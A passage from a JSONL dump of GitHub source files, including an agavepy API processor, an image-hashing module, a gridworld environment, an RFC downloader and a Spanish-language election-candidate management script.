i in range(len(strs[0])):\n if strs[0][i] != strs[-1][i]:\n return strs[0][:i]\n\n return strs[0]\n","repo_name":"ervand7/Summary","sub_path":"Algorithms and data structures/leetcode/4. Longest common prefix.py","file_name":"4. Longest common prefix.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"73185515761","text":"#!/bin/usr/env python3\n# -*- coding: utf-8 -*-\n# --------------------------------\n# ProjectName: MySpace\n# Author: jiangheng\n# CreateTime: 2019/1/3 21:02\n# FileName: D6_01购物车小程序.py\n# Description: \n# Question: \n# --------------------------------\n\n# 用列表存储商品信息\nshopping_mall = [\n (\"小米笔记本\", 8000),\n (\"小米MIX3\", 3500),\n (\"小米手环3\", 180),\n (\"去探索\", 20000)\n]\n\n# 定义空列表充当购物车\nshopping_cart = []\n\nbalance = input(\"请存入您的金额:\")\nif balance.isdigit():\n balance = int(balance)\n print(\"您当前的余额为:\", balance)\n\n while True:\n '''\n enumerate() 函数用于将一个可遍历的数据对象(如列表、元组或字符串)\n 组合为一个索引序列,同时列出数据和数据下标,一般用在 for 循环当中。\n '''\n # 打印商品列表信息\n for i, j in enumerate(shopping_mall, 1):\n print(\" \", i, \"*****>\", j, \"***\")\n\n # 选择商品信息\n choice = input(\"请选择商品【退出请输入:q】:\")\n # 用户购买的逻辑判断\n if choice.isdigit():\n choice = int(choice)\n if 0 < choice <= len(shopping_mall):\n\n # 用户选择商品\n product = shopping_mall[choice-1]\n\n # 根据用户选择的商品与当前余额比较看是否有能力进行消费\n if product[1] <= balance:\n # 如果满足上面的条件,则消费并得到新的余额,还需将用户购买的商品加入到购物车里去\n balance -= product[1]\n shopping_cart.append(product[0])\n print(\"\"\"\n 【 当前你已购买的商品有 %s 】\n \"\"\" % shopping_cart)\n else:\n print(\"抱歉您的余额不足,您当前余额为:%s\" % balance)\n\n else:\n print(\"您选择的商品不存在...\")\n elif choice == \"q\":\n print(\"------------END 你已经购买了以下商品 END--------\")\n for i in shopping_cart:\n print(i)\n print(\"您还剩%s元钱\" % balance)\n break\n else:\n print(\"你的输入不合法\")\nelse:\n print(\"请检查您的输入,必须是数字哦!\")\n\n","repo_name":"Hanlen520/Python-1","sub_path":"Applications/03_购物车小程序.py","file_name":"03_购物车小程序.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12561887688","text":"from __future__ import absolute_import\nimport dateutil.parser\nimport logging\nimport os\nimport requests\nimport sys\n\nfrom agavepy import settings\nfrom agavepy.aloe import EXCEPTION_MODELS\nfrom agavepy.errors import AgaveException, AgaveError\nfrom agavepy.util import AttrDict, with_refresh\n\nsys.path.insert(0, os.path.dirname(__file__)) # noqa\nfrom .swaggerpy.processors import SwaggerProcessor # noqa\nfrom .swaggerpy.http_client import SynchronousHttpClient # noqa\nfrom .swaggerpy.client import SwaggerClient # noqa\n\nHERE = os.path.dirname(os.path.abspath(__file__))\nlogger = logging.getLogger(__name__)\nlogging.getLogger(__name__).setLevel(\n os.environ.get('TAPISPY_LOG_LEVEL', logging.WARNING))\n\n__all__ = [\n 'AgaveProcessor', 'Operation', 'Resource', 'SwaggerProcessor',\n 'SynchronousHttpClient', 'SwaggerClient'\n]\n\n\nclass Resource(object):\n def __init__(self, resource, client):\n \"\"\"\n\n :param resource:\n :param client: the Agave instance associated with this resource\n :return:\n \"\"\"\n self.resource = resource\n self.client = client\n\n def __getattr__(self, attr):\n return Operation(self.resource, attr, client=self.client)\n\n def __dir__(self):\n if hasattr(self, \"clients_resource\") and hasattr(\n self.clients_resource, \"resources\"):\n clients = self.client.clients_resource.resources\n base = list(clients[self.resource].operations.keys())\n else:\n base = []\n if self.client.all is not None:\n base.extend(\n list(self.client.all.resources[\n self.resource].operations.keys()))\n return base\n\n\nclass Operation(object):\n\n PRIMITIVE_TYPES = [\"array\", \"string\", \"integer\", \"int\", \"boolean\", \"dict\"]\n\n def __init__(self, resource, operation, client):\n self.resource = resource\n self.operation = operation\n self.client = client\n self.models = self.get_models()\n self.return_type = self.get_return_type()\n\n def get_base(self):\n \"\"\"Get the base ari for this resource.\"\"\"\n\n return (self.client.clients_resource\n if self.resource == \"clients\" else self.client.all)\n\n def get_operation(self):\n base = self.get_base()\n return getattr(getattr(base, self.resource), self.operation)\n\n def get_models(self):\n \"\"\"Get JSON with all the models declarations.\"\"\"\n\n base = self.get_base()\n return getattr(base, self.resource).json[\"api_declaration\"][\"models\"]\n\n def get_return_type(self):\n \"\"\"Get JSON with the return type for this operation.\"\"\"\n\n return self.get_operation().json\n\n def __call__(self, *args, **kwargs):\n def operation():\n f = self.get_operation()\n response = f(*args, **kwargs)\n try:\n response.raise_for_status()\n except requests.exceptions.HTTPError as h:\n if settings.VERBOSE_ERRORS:\n # Extract the API JSON message and attach it\n # to the HTTPError object before raising it\n code = h.response.status_code\n reason = h.response.reason + ' for ' + h.response.url\n try:\n message = h.response.json().get('message')\n except Exception:\n message = h.response.text\n raise requests.exceptions.HTTPError(code,\n reason,\n message,\n response=h.response,\n request=h.request)\n else:\n raise h\n return response\n\n kwargs[\"proxies\"] = self.client.proxies\n logger.debug('Operation.__call__()...')\n resp = with_refresh(self.client, operation)\n if resp.ok:\n # if response is 204 (no content) return none directly\n if resp.status_code == 204 and not resp.content:\n return resp\n # if response is raw file, return it directly\n if self.resource == \"files\" and (\n self.operation == \"download\"\n or self.operation == \"downloadFromDefaultSystem\"):\n return resp\n # if response is a result, return it directly as well:\n if self.resource == \"actors\" and self.operation == \"getOneExecutionResult\":\n return resp\n # get the version associated with this response; the version is used for post_processing, as\n # some response models depend on the version.\n try:\n version = resp.json().get(\"version\")\n except Exception:\n version = None\n processed = self.post_process(resp.json(), self.return_type,\n version)\n result = processed[\"result\"] if \"result\" in processed else None\n # if operation is clients.create, save name\n if self.resource == \"clients\" and self.operation == \"create\":\n self.client.set_client(result[\"consumerKey\"],\n result[\"consumerSecret\"])\n return result\n else:\n # if the response is not 2xx return the unprocessed json rather\n # than raising an exception, since the return json contains\n # the error message\n raise AgaveException(resp.json())\n\n def post_process(self, obj, return_type, version):\n if return_type is None:\n return self.process_untyped(obj)\n\n type_name = return_type[\"type\"].lower()\n if type_name in self.PRIMITIVE_TYPES:\n f = getattr(self, \"process_{}\".format(type_name))\n try:\n return f(obj, return_type, version)\n except Exception:\n return self.process_untyped(obj)\n return self.process_model(obj, return_type, version)\n\n def process_untyped(self, obj, version=None):\n return obj\n\n def process_dict(self, obj, return_type, version=None):\n return obj\n\n def process_array(self, obj, return_type, version):\n items = return_type[\"items\"]\n items_type = items.get(\"type\", items.get(\"$ref\"))\n return [\n self.post_process(elem, {\"type\": items_type}, version)\n for elem in obj\n ]\n\n def process_string(self, obj, return_type, version=None):\n if obj is None:\n # why is agave returning null for a string type?\n return obj\n if return_type.get(\"format\") == \"date-time\":\n return dateutil.parser.parse(obj)\n return obj\n\n def process_integer(self, obj, return_type, version=None):\n return obj\n\n process_int = process_integer\n\n def process_boolean(self, obj, return_type, version=None):\n return obj\n\n def get_model_spec(self, model_name, version):\n \"\"\"\n Look up the model_spec associated with a model name and check for exceptions based on the version of\n the response.\n :param model_name:\n :return:\n \"\"\"\n if model_name in EXCEPTION_MODELS:\n version_cutoff = EXCEPTION_MODELS[model_name][\"version_cutoff\"]\n if version > version_cutoff:\n # the API version of this response was greater than the version cutoff, so we need to look up the\n # the model spec in the exception_resources\n new_model_name = EXCEPTION_MODELS[model_name][\"model\"]\n return self.client.resource_exceptions[new_model_name][\n \"properties\"]\n # if model was not an exception model OR the version was less than the version cutoff, just return the\n # the model in the original models object -\n return self.models[model_name][\"properties\"]\n\n def process_model(self, obj, return_type, version):\n model_name = return_type[\"type\"]\n\n model_spec = self.get_model_spec(model_name, version)\n result = AttrDict({})\n for k in obj:\n try:\n result[k] = self.post_process(obj[k], model_spec.get(k),\n version)\n except Exception:\n result[k] = obj\n return result\n\n\nclass AgaveProcessor(SwaggerProcessor):\n def process_property(self, resources, resource, model, prop, context):\n if prop.get(\"format\", None) == \"date-time\":\n pass\n\n def process_model(self, resources, resource, model, context):\n pass\n","repo_name":"TACC/agavepy","sub_path":"agavepy/processor.py","file_name":"processor.py","file_ext":"py","file_size_in_byte":8721,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"75"} +{"seq_id":"34316444853","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n绘制正方形\n\"\"\"\nimport turtle\n\nturtle.color('blue', 'red')\nturtle.begin_fill()\n\nfor _ in range(4):\n turtle.forward(100)\n turtle.left(90)\n\nturtle.end_fill()\nturtle.done()","repo_name":"metanoia1989/PythonStudy","sub_path":"DesignPattern/10命令模式/turtle_basic.py","file_name":"turtle_basic.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70653629684","text":"\n# from https://github.com/JohannesBuchner/imagehash.\n# copied because i needed to remove some references to a scipy package\n\n\n\"\"\"\nImage hashing library\n======================\n\nExample:\n\n>>> import Image\n>>> import imagehash\n>>> hash = imagehash.average_hash(Image.open('test.png'))\n>>> print(hash)\nd879f8f89b1bbf\n>>> otherhash = imagehash.average_hash(Image.open('other.bmp'))\n>>> print(otherhash)\nffff3720200ffff\n>>> print(hash == otherhash)\nFalse\n>>> print(hash - otherhash)\n36\n>>> for r in range(1, 30, 5):\n... rothash = imagehash.average_hash(Image.open('test.png').rotate(r))\n... print('Rotation by %d: %d Hamming difference' % (r, hash - rothash))\n... \nRotation by 1: 2 Hamming difference\nRotation by 6: 11 Hamming difference\nRotation by 11: 13 Hamming difference\nRotation by 16: 17 Hamming difference\nRotation by 21: 19 Hamming difference\nRotation by 26: 21 Hamming difference\n>>>\n\n\"\"\"\n\nfrom PIL import Image\nimport numpy\nimport requests\nimport shutil\nimport os\n\n\ndef binary_array_to_hex(arr):\n h = 0\n s = []\n for i,v in enumerate(arr.flatten()):\n if v: h += 2**(i % 8)\n if (i % 8) == 7:\n s.append(hex(h)[2:].rjust(2, '0'))\n h = 0\n return \"\".join(s)\n\ndef binary_array_to_int(arr):\n return sum([2**(i % 8) for i,v in enumerate(arr.flatten()) if v])\n\n\"\"\"\nHash encapsulation. Can be used for dictionary keys and comparisons.\n\"\"\"\nclass ImageHash(object):\n def __init__(self, binary_array):\n self.hash = binary_array\n\n def __str__(self):\n return binary_array_to_hex(self.hash)\n\n def __repr__(self):\n return repr(self.hash)\n\n def __sub__(self, other):\n if other is None:\n raise TypeError('Other hash must not be None.')\n if self.hash.shape != other.hash.shape:\n raise TypeError('ImageHashes must be of the same shape.', self.hash.shape, other.hash.shape)\n return (self.hash != other.hash).sum()\n\n def __eq__(self, other):\n if other is None:\n return False\n return numpy.array_equal(self.hash, other.hash)\n\n def __ne__(self, other):\n if other is None:\n return False\n return not numpy.array_equal(self.hash, other.hash)\n\n def __hash__(self):\n return binary_array_to_int(self.hash)\n\ndef hex_to_hash(hexstr):\n l = []\n if len(hexstr) != 16:\n raise ValueError('The hex string has the wrong length')\n for i in range(8):\n #for h in hexstr[::2]:\n h = hexstr[i*2:i*2+2]\n v = int(\"0x\" + h, 16)\n for i in range(8):\n l.append(v & 2**i > 0)\n array = numpy.array(l)\n array.shape = (8, 8)\n return ImageHash(array)\n\n\n\"\"\"\nAverage Hash computation\n\nImplementation follows http://www.hackerfactor.com/blog/index.php?/archives/432-Looks-Like-It.html\n\n@image must be a PIL instance.\n\"\"\"\ndef average_hash(image, hash_size=8):\n image = image.convert(\"L\").resize((hash_size, hash_size), Image.ANTIALIAS)\n pixels = numpy.array(image.getdata()).reshape((hash_size, hash_size))\n avg = pixels.mean()\n diff = pixels > avg\n # make a hash\n return ImageHash(diff)\n\n\n\"\"\"\nDifference Hash computation.\n\nfollowing http://www.hackerfactor.com/blog/index.php?/archives/529-Kind-of-Like-That.html\n\n@image must be a PIL instance.\n\"\"\"\ndef dhash(image, hash_size=8):\n image = image.convert(\"L\").resize((hash_size + 1, hash_size), Image.ANTIALIAS)\n pixels = numpy.array(image.getdata(), dtype=numpy.float).reshape((hash_size + 1, hash_size))\n # compute differences\n diff = pixels[1:,:] > pixels[:-1,:]\n return ImageHash(diff)\n\n\nTEMP_IMAGE_FILE_NAME = \"tmpimage2\"\n\ndef image_hash(img_url):\n response = requests.get(img_url, stream=True)\n response.raw.decode_content = True\n with open(TEMP_IMAGE_FILE_NAME, 'wb') as tmp:\n shutil.copyfileobj(response.raw, tmp)\n\n img = Image.open(TEMP_IMAGE_FILE_NAME)\n image_hash = dhash(img)\n try:\n os.remove(TEMP_IMAGE_FILE_NAME)\n except OSError as err:\n pass\n return image_hash\n\ndef hash_distance(img_hash, img_hash_hex):\n img_hash = hex_to_hash(str(img_hash))\n other_hash = hex_to_hash(img_hash_hex)\n return other_hash - img_hash\n\n\ndef main():\n import imagefetching\n img_urls = imagefetching.reuters_slideshow_imgs()\n last_hash = None\n for caption, link in img_urls:\n img_hash = image_hash(link)\n if last_hash == None:\n last_hash = img_hash\n print(img_hash)\n print(\"diff \", img_hash - last_hash)\n last_hash = img_hash\n\nif __name__ == \"__main__\":\n main()","repo_name":"cmyr/INTERESTING_JPG","sub_path":"imagehash.py","file_name":"imagehash.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"31392178130","text":"\n\n\nimport torch\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\n\n_ACTIONS = np.array([\n [0, 1],\n [0, -1],\n [1, 0],\n [-1, 0]\n])\n\nSTATIC = True\n\nFOOD_REWARD = 1\nBAD_PENALTY = -0.5\n\n\nclass GridWorld:\n def __init__(self, board_size, num_modes, num_food, time_limit):\n\n self.board_size = board_size\n self.num_modes = num_modes\n self.num_food = num_food\n self.time_limit = time_limit\n\n self.board = None\n\n self.t = None\n self.char_ind = None\n self.food_left = None\n\n self.target_food = None\n\n\n def reset(self, target_food):\n self.t = 0\n self.target_food = target_food\n self.food_left = self.num_food * len(target_food)\n\n # initialize the board with all empty\n self.board = np.zeros((self.board_size, self.board_size), dtype=int)\n avail_set = set([(i, j) for i in range(self.board_size) for j in range(self.board_size)])\n \n # character starts at 0, 0\n self.char_ind = np.array([0, 0])\n avail_set.remove((0, 0))\n self.board[0, 0] = 1\n\n # add the food\n if STATIC:\n np.random.seed(0)\n for i in range(2, self.num_modes+2):\n for _ in range(self.num_food):\n if len(avail_set) == 0:\n raise RuntimeError(\"Not enough space for food\")\n \n ind = list(avail_set)[np.random.choice(len(avail_set))]\n self.board[ind[0], ind[1]] = i\n avail_set.remove(ind)\n\n return self.getState()\n \n\n def _getNewPos(self, action):\n uncut = self.char_ind + _ACTIONS[action]\n uncut += self.board_size\n \n return uncut % self.board_size\n\n\n def step(self, action):\n assert action >= 0\n assert action < 4\n\n reward = 0\n\n # take action\n new_ind = self._getNewPos(action)\n \n if self.board[new_ind[0], new_ind[1]]-3 in self.target_food:\n self.food_left -= 1\n reward = FOOD_REWARD\n\n elif self.board[new_ind[0], new_ind[1]] > 1:\n reward = BAD_PENALTY\n\n self.board[self.char_ind[0], self.char_ind[1]] = 0\n self.board[new_ind[0], new_ind[1]] = 1\n\n self.char_ind = new_ind\n\n # check done\n self.t += 1\n done = self.t >= self.time_limit or self.food_left == 0\n\n return self.getState(), reward, done, None\n \n\n def getState(self):\n return self.board\n\n\n def render(self):\n print(\"\\n\", self.board, \"\\n\")\n\n\ndef main():\n env = GridWorld(10, 3, 5, 100)\n env.reset([1])\n while True:\n env.render()\n action = int(input(\"action: \"))\n obs, reward, done, info = env.step(action)\n if done:\n break\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"aklein4/SkillBasis","sub_path":"eigen/gridworld.py","file_name":"gridworld.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43199596882","text":"from threading import Thread\nimport time\nimport os\n\nimport requests\n\n\nBASE_URL = \"http://www.rfc-editor.org/rfc\"\nDEST_DIR = os.path.join(os.environ[\"HOME\"], \"rfcs\")\nRFC_NUMBERS = [1122, 1123, 791, 792, 950, 1112, 919, 922, 768, 793, 854, 855,\n 1112, 1870, 1034, 1035, 1212, 1155, 1213, 1002, 1001,\n 862, 8098, 8077, 7761, 7680, 7679, 20, 7296, 6353,\n 5591, 5590, 5343, 7011, 6376, 6891]\n\n\ndef download_rfc(number):\n url = \"{}/rfc{}.txt\".format(BASE_URL, number)\n response = requests.get(url)\n\n filename = \"{}.txt\".format(number)\n path = os.path.join(DEST_DIR, filename)\n with open(path, \"wb\") as fp:\n fp.write(response.text.encode(\"utf-8\"))\n\n\ndef main():\n threads = []\n for number in RFC_NUMBERS:\n thread = Thread(target=download_rfc, args=(number, ))\n thread.start()\n threads.append(thread)\n\n while threads:\n threads.pop().join()\n\nif __name__ == '__main__':\n started = time.time()\n main()\n elapsed = time.time() - started\n print(\"time: {:.2f}s\".format(elapsed))\n","repo_name":"albertoide/meetups","sub_path":"presentation-python-concurrency/code_examples/rfcs_threads.py","file_name":"rfcs_threads.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2393305784","text":"import os\r\nimport sys\r\nimport requests\r\nimport json\r\nfrom pathlib import Path\r\n\r\ndef limpiar():\r\n\tos.system(\"cls\")\r\n\r\n#GESTION CANDIDATO\r\ndef gestionC():\r\n\tlimpiar()\r\n\tprint(\"GENTIONAR CANDIDATO \")\r\n\tprint(\"1- Agregar candidato\")\r\n\tprint(\"2- Modificar candidato\")\r\n\tprint(\"3- Eliminar candidato\")\r\n\ttmh = input(\"Que opcion desea: \")\r\n\tif(tmh == \"1\"):\r\n\t\tagregarc()\r\n\telif(tmh == \"2\"):\r\n\t\tmodificarc()\r\n\telif(tmh == \"3\"):\r\n\t\teliminar()\r\n\telse:\r\n\t\tprint(\"Amigo debe de elegir algo valido\")\r\n\t\tmenu()\r\n\r\n#Aqui se agregan los candidatos\r\ndef agregarc():\r\n\tlimpiar()\r\n\tprint(\" =============VAMOS A AGREGAR UN CANDIDATO=========== \")\r\n\tcedula = input(\"Cual es la cedula del candidato?: \")\r\n\tnombre =input(\"cual es el nombre del candidato?: \")\r\n\tapellido = input(\"cual es el apellido del candidato?: \")\r\n\tfechaN = input(\"cual es la fecha de nacimiento del candidato?ejemplo:dd/mm/aaaa \")\r\n\ttipodS = input(\"cual es el tipo de sangre?: \")\r\n\tpartido = input(\"cual es partido del candidato? \")\r\n\tsize = input(\"cual es el size del candidato?: \")\r\n\ttelefono = input(\"cual es el telefono del candidato?\" )\r\n\tcelular = input(\"cual es el numero de celular del candidato? \")\r\n\temail = input(\"cual es el email del candidato?: \")\r\n\tdireccion = input(\"cual la direccion del candidato?: \")\r\n\tpersonadc = input(\"cual es la persona de contacto?: \")\r\n\ttelefonodc = input(\"cual es el telefono de contacto?: \")\r\n\tcont = cedula +\"~\"+nombre+\"~\"+apellido+\"~\"+fechaN+\"~\"+tipodS+\"~\"+partido+\"~\"+size+\"~\"+telefono+\"~\"+celular+\"~\"+email+\"~\"+direccion+\"~\"+personadc+\"~\"+telefonodc\r\n\trs = requests.post(\"http://adamix.net/api/itla/registrarDato\",data={'matricula': '20186212', 'clave': '12345', 'contenido': cont })\r\n\tprint(rs)\r\n\tinput(\"Datos guardados, presione enter para continuar\")\r\n\tmenu()\r\n\r\n#MODIFICAR\t\r\ndef modificarc():\r\n\tlimpiar()\r\n\tdatos = requests.get(\"http://adamix.net/api/itla/misDatos/20186212/12345\").text\r\n\tdatos = datos.split(\"\\n\")\r\n\r\n\tprint(\"Esto son los candidatos\\n\")\r\n\tfor f in datos:\r\n\t fila = f.split(\"&\")\r\n\t candi = fila[2]\r\n\t candi = candi.split(\"~\")\r\n\t print(\"ID: \"+fila[0])\r\n\t print(\"Cedula del candidato: \" + candi[1])\r\n\t print(\"Nombre del candidato: \" + candi[2])\r\n\t print(\"------------------------------------------------------------------------------------------------------- \\n\")\r\n\t pass\r\n\tprint(\"Modifique el candidato\\n\")\r\n\tnum = input(\"Elija un candidato introduciendo ID: \" + \" \")\r\n\tfor h in datos:\r\n\t\thigh = h.split(\"&\")\r\n\t\tcc = high[2]\r\n\t\tcc = cc.split(\"~\")\r\n\t\tif num == high[0]:\r\n\t\t\tcc[0]\r\n\t\t\tcc[1]\r\n\t\t\tcc[2]\r\n\t\t\tcc[3]\r\n\t\t\tcc[4]\r\n\t\t\tcc[5]\r\n\t\t\tcc[6]\r\n\t\t\tcc[7]\r\n\t\t\tcc[8]\r\n\t\t\tcc[9]\r\n\t\t\tcc[10]\r\n\t\t\tcc[11]\r\n\t\t\tcc[12]\r\n\t\t\tcedula = input(\"La cedula del candidato es: \" + cc[0] + \" Esciba la cedula si desea reemplazarla: \") \r\n\t\t\tif not cedula:\r\n\t\t\t\tcedula = cc[0]\r\n\t\t\tnombre =input(\"El nombre del candidato es: \"+ cc[1] + \" Esciba la nombre si desea reemplazarla: \")\r\n\t\t\tif not nombre:\r\n\t\t\t\tnombre = cc[1]\r\n\t\t\tapellido = input(\"El apellido del candidato es: \"+ cc[2] + \" Esciba la apellido si desea reemplazarlo: \")\r\n\t\t\tif not apellido:\r\n\t\t\t\tapellido = cc[2]\r\n\t\t\tfechaN = input(\"La fecha de nacimiento del candidato es: \"+ cc[3] + \" Esciba la fecha de nacimiento si desea reemplazarla: ejemplo:dd/mm/aaaa \")\r\n\t\t\tif not fechaN:\r\n\t\t\t\tfechaN = cc[3]\r\n\t\t\ttipodS = input(\"El tipo de sangre es: \"+ cc[4] + \" Esciba el tipo de sangre si desea reemplazarlo, sino preione enter: \")\r\n\t\t\tif not tipodS:\r\n\t\t\t\ttipodS = cc[4]\r\n\t\t\tpartido = input(\"El partido del candidato es: \"+ cc[5] + \" Esciba el partido si desea reemplazarlo, sino preione enter: \")\r\n\t\t\tif not partido:\r\n\t\t\t\tpartido = cc[5]\r\n\t\t\tsize = input(\"El size del candidato es: \"+ cc[6] + \" Esciba el size si desea reemplazarlo, sino preione enter: \")\r\n\t\t\tif not size:\r\n\t\t\t\tsize = cc[6]\r\n\t\t\ttelefono = input(\"El telefono del candidato es: \"+ cc[7] + \" Esciba el telefono si desea reemplazarlo, sino preione enter: \")\r\n\t\t\tif not telefono:\r\n\t\t\t\ttelefono = cc[7]\r\n\t\t\tcelular = input(\"El numero de celular del candidato es: \"+ cc[8] + \" Esciba el celular si desea reemplazarlo, sino preione enter: \")\r\n\t\t\tif not celular:\r\n\t\t\t\tcelular = cc[8]\r\n\t\t\temail = input(\"El Email del candidato es: \"+ cc[9] + \" Esciba el Email si desea reemplazarlo, sino preione enter: \")\r\n\t\t\tif not email:\r\n\t\t\t\temail = cc[9]\r\n\t\t\tdireccion = input(\"L direccion del candidato es: \"+ cc[10] + \" Esciba la direccion si desea reemplazarla, sino preione enter: \")\r\n\t\t\tif not direccion:\r\n\t\t\t\tdireccion = cc[10]\r\n\t\t\tpersonadc = input(\"La persona de contacto es: \"+ cc[11] + \" Esciba la persona si desea reemplazarla, sino preione enter, sino preione enter: \")\r\n\t\t\tif not personadc:\r\n\t\t\t\tpersonadc = cc[11]\r\n\t\t\ttelefonodc = input(\"El telefono de contacto es: \"+ cc[12] + \" Esciba el telefono de contacto si desea reemplazarlo, sino preione enter: \")\r\n\t\t\tif not telefonodc:\r\n\t\t\t\ttelefonodc = cc[12]\r\n\tcont = cedula +\"~\"+nombre+\"~\"+apellido+\"~\"+fechaN+\"~\"+tipodS+\"~\"+partido+\"~\"+size+\"~\"+telefono+\"~\"+celular+\"~\"+email+\"~\"+direccion+\"~\"+personadc+\"~\"+telefonodc\r\n\trs = requests.post(\"http://adamix.net/api/itla/registrarDato\",data={'matricula': '20186212', 'clave': '12345', 'contenido': cont })\r\n\trs2 = requests.get(\"http://adamix.net/api/itla/eliminarDato/\" +num+ \"/12345\")\r\n\tprint(rs)\r\n\tprint(rs2)\r\n\tinput(\"Datos modificados, presione enter para continuar\")\r\n\tmenu()\r\n\r\n\r\n\r\n#Aqui eliminammos los candidatos.\r\ndef eliminar():\r\n\tlimpiar()\r\n\tprint(\"Que candidato desea borrar.\\n\")\r\n\tdatos = requests.get(\"http://adamix.net/api/itla/misDatos/20186212/12345\").text\r\n\tdatos = datos.split(\"\\n\")\r\n\tprint(\"Esto son los candidatos\\n\")\r\n\tfor f in datos:\r\n\t fila = f.split(\"&\")\r\n\t candi = fila[2]\r\n\t candi = candi.split(\"~\") \r\n\t print(\"ID: \"+fila[0])\r\n\t print(\"Nombre del candidato: \" + candi[1])\r\n\t print(\"-------------------------------------------------------------------------------------------------------- \\n\")\r\n\tnum = input(\"digite la candidato que quieres borrar: \" + \" \") \r\n\trs = requests.get(\"http://adamix.net/api/itla/eliminarDato/\" +num+ \"/12345\")\r\n\tprint(rs)\r\n\tprint(\"Candidato eliminado\")\r\n\tinput()\r\n\tmenu()\r\n\r\n\r\n\r\n#GESTION DE ACTIVIDADES\r\ndef actividades():\r\n\tlimpiar()\r\n\tnum = \"\"\r\n\tdatos = requests.get(\"http://adamix.net/api/itla/misDatos/20186212/12345\").text\r\n\tdatos = datos.split(\"\\n\")\r\n\tprint(\"\")\r\n\r\n\tprint(\"Esto son los candidatos\\n\")\r\n\tfor f in datos:\r\n\t fila = f.split(\"&\")\r\n\t candi = fila[2]\r\n\t candi = candi.split(\"~\")\r\n\t print(\"ID: \"+fila[0])\r\n\t print(\"Cedula del candidato: \" + candi[0])\r\n\t print(\"Nombre del candidato: \" + candi[1])\r\n\t print(\"---------------------------------------------------------------------------------------------------------\\n\") \r\n\t pass\r\n\t\r\n\r\n\tnum = input(\"Elija un candidato introduciendo ID: \" + \" \")\r\n\tfor h in datos:\r\n\t\thigh = h.split(\"&\")\r\n\t\tcc = high[2]\r\n\t\tcc = cc.split(\"~\")\r\n\t\tif num == high[0]:\r\n\t\t\tcandidatoA = cc[1] \r\n\t\t\tprint(\"Agregue actividad al candidato\\n\")\r\n\t\t\tprint(\"A seleccionado a \"+ candidatoA)\r\n\t\t\tdescripcionA = input(\"Cual es la descripcion de la actividad?: \")\r\n\t\t\tfechaA = input(\"cual es la fecha de la actividad?: \")\r\n\t\t\tcostoA =input(\"cual es el costo de la actividad?: \")\r\n\t\t\tLugarA = input(\"cual es el lugar de la acividad?: \")\r\n\tcont = candidatoA+\"~\"+descripcionA+\"~\"+fechaA+\"~\"+costoA+\"~\"+LugarA\r\n\trs = requests.post(\"http://adamix.net/api/itla/registrarDato\",data={'matricula': '20186212', 'clave': '12346', 'contenido': cont })\r\n\tprint(rs)\r\n\tinput(\"Datos guardados, presione enter para continuar\")\r\n\tmenu()\r\n\r\n\t\r\n\t\t\t\r\n\r\n\r\n#REPORTES DE CANDIDATOS\r\ndef reportesc():\r\n\tlimpiar()\r\n\tprint(\" ======================REPORTES DE CANDIDATOS========================= \")\r\n\tprint(\"1- Listado de candidatos\")\r\n\tprint(\"2- Listado de actividades\")\r\n\tprint(\"3- Listado de candidatos con signo zodiacal\")\r\n\tprint(\"4- Exportar candidato\")\r\n\ttmq = input(\"Que opcion desea: \")\r\n\tif(tmq == \"1\"):\r\n\t\tlistaC()\r\n\telif(tmq == \"2\"):\r\n\t\tlistaA()\r\n\telif(tmq == \"3\"):\r\n\t\tlistazodiaco()\r\n\telif(tmq == \"4\"):\r\n\t\texportar()\r\n\telse:\r\n\t\tprint(\"Amigo debe de elegir algo valido\")\r\n\t\tmenu()\r\n\r\n\r\n#LISTA DE CANDIDATOS\r\ndef listaC():\r\n\tlimpiar()\r\n\tprint(\" =============ESTOS SON LOS CANDIDATOS EXISTENTES===========\")\r\n\tdatos = requests.get(\"http://adamix.net/api/itla/misDatos/20186212/12345\").text\r\n\tdatos = datos.split(\"\\n\")\r\n\tprint(\"aqui estan\")\r\n\tfor f in datos:\r\n\t\tfila = f.split(\"&\")\r\n\t\tcandi = fila[2]\r\n\t\tcandi = candi.split(\"~\")\r\n\t\tprint(\"Cedula: \" + candi[0])\r\n\t\tprint(\"Nombre: \" + candi[1])\r\n\t\tprint(\"Apellido: \" + candi[2])\r\n\t\tprint(\"Fecha de nacimiento: \" + candi[3])\r\n\t\tprint(\"Tipo de sangre: \" + candi[4])\r\n\t\tprint(\"Partido: \" + candi[5])\r\n\t\tprint(\"Size del traje: \" + candi[6])\r\n\t\tprint(\"telefono: \" + candi[7])\r\n\t\tprint(\"Celular: \" + candi[8])\r\n\t\tprint(\"Email: \" + candi[9])\r\n\t\tprint(\"Direccion: \" + candi[10])\r\n\t\tprint(\"Persona de contacto: \" + candi[11])\r\n\t\tprint(\"Telefono de contacto: \" + candi[12])\r\n\t\tprint(\"-------------------------------------------------------------------------------------------------------- \\n\")\r\n\tinput(\"presione enter para continuar\")\r\n\tmenu()\r\n\r\n#LISTA DE ACTIVIDADES\r\ndef listaA():\r\n\tlimpiar()\r\n\tprint(\" =============ESTOS SON LAS ACTIVIDADES EXISTENTES===========\")\r\n\tdatos = requests.get(\"http://adamix.net/api/itla/misDatos/20186212/12346\").text\r\n\tdatos = datos.split(\"\\n\")\r\n\tfor f in datos:\r\n\t\tfila = f.split(\"&\")\r\n\t\tcandi = fila[2]\r\n\t\tcandi = candi.split(\"~\")\r\n\t\tprint(\"Candidato: \" + candi[0])\r\n\t\tprint(\"Descripcion: \" + candi[1])\r\n\t\tprint(\"Fecha de la actividad: \" + candi[2])\r\n\t\tprint(\"Fecha de nacimiento: 